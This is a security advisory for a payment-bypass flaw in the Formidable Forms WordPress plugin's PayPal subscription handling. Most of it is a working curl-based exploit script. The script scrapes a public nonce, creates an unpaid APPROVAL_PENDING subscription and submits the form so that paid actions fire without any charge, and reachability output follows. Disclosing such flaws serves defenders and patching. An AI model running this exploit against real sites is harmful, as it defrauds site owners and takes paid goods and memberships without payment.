Formidable Forms < 6.32.1 – Unauthenticated Payment Bypass via PayPal APPROVAL_PENDING Subscription Status | CVE 2026-11361

Description

The plugin does not properly validate the status of a PayPal subscription payment before marking it complete, allowing unauthenticated users to bypass payment and trigger paid form actions — such as digital content access, license delivery, and membership activation — without being charged.

Proof of Concept

Prerequisites (admin configuration — non-default):
- The PayPal Commerce gateway is connected in Formidable's settings.
- A published form has a credit card field bound to a *recurring* PayPal payment action, and renders on a public page.

```bash
TARGET="https://TARGET"

# Step 1: Harvest the frm_paypal_ajax nonce from the public form page (unauthenticated).
# It is emitted in frmPayPalVars.nonce to all visitors — it is an anti-CSRF token, not an authorization gate.
NONCE=$(curl -s "$TARGET/FORM_PAGE/" | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | cut -d'"' -f4)

# Step 2: Create a PayPal vault setup token (unauthenticated, nopriv endpoint).
VAULT=$(curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=frm_paypal_create_vault_setup_token" \
  --data-urlencode "nonce=$NONCE" \
  --data-urlencode "form_id=FORM_ID")
VAULT_TOKEN=$(echo "$VAULT" | jq -r '.data.token')

# Step 3: Create a subscription with the vault token. It enters APPROVAL_PENDING — no charge is made.
SUB=$(curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=frm_paypal_create_subscription" \
  --data-urlencode "nonce=$NONCE" \
  --data-urlencode "form_id=FORM_ID" \
  --data-urlencode "vault_setup_token=$VAULT_TOKEN")
SUB_ID=$(echo "$SUB" | jq -r '.data.subscriptionID')

# Step 4: Submit the form with the APPROVAL_PENDING subscription ID.
# The plugin accepts APPROVAL_PENDING as a paid status and skips the amount check, records the
# payment as complete, and fires all payment-success form actions — without the attacker being charged.
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=frm_submit" \
  --data-urlencode "form_id=FORM_ID" \
  --data-urlencode "paypal_subscription_id=$SUB_ID"
```

Reachability evidence (captured without any PayPal account, in a contained environment):
```
# nopriv endpoint, no nonce:
curl -X POST .../admin-ajax.php -d action=frm_paypal_create_vault_setup_token        -> HTTP 403
# with the nonce scraped from the unauthenticated form page:
curl ... -d action=frm_paypal_create_vault_setup_token -d nonce=<nonce> ...          -> HTTP 200 (handler reached)
# nonce validity: wp_verify_nonce("<nonce>", "frm_paypal_ajax") == 1 (valid for an unauthenticated visitor)
```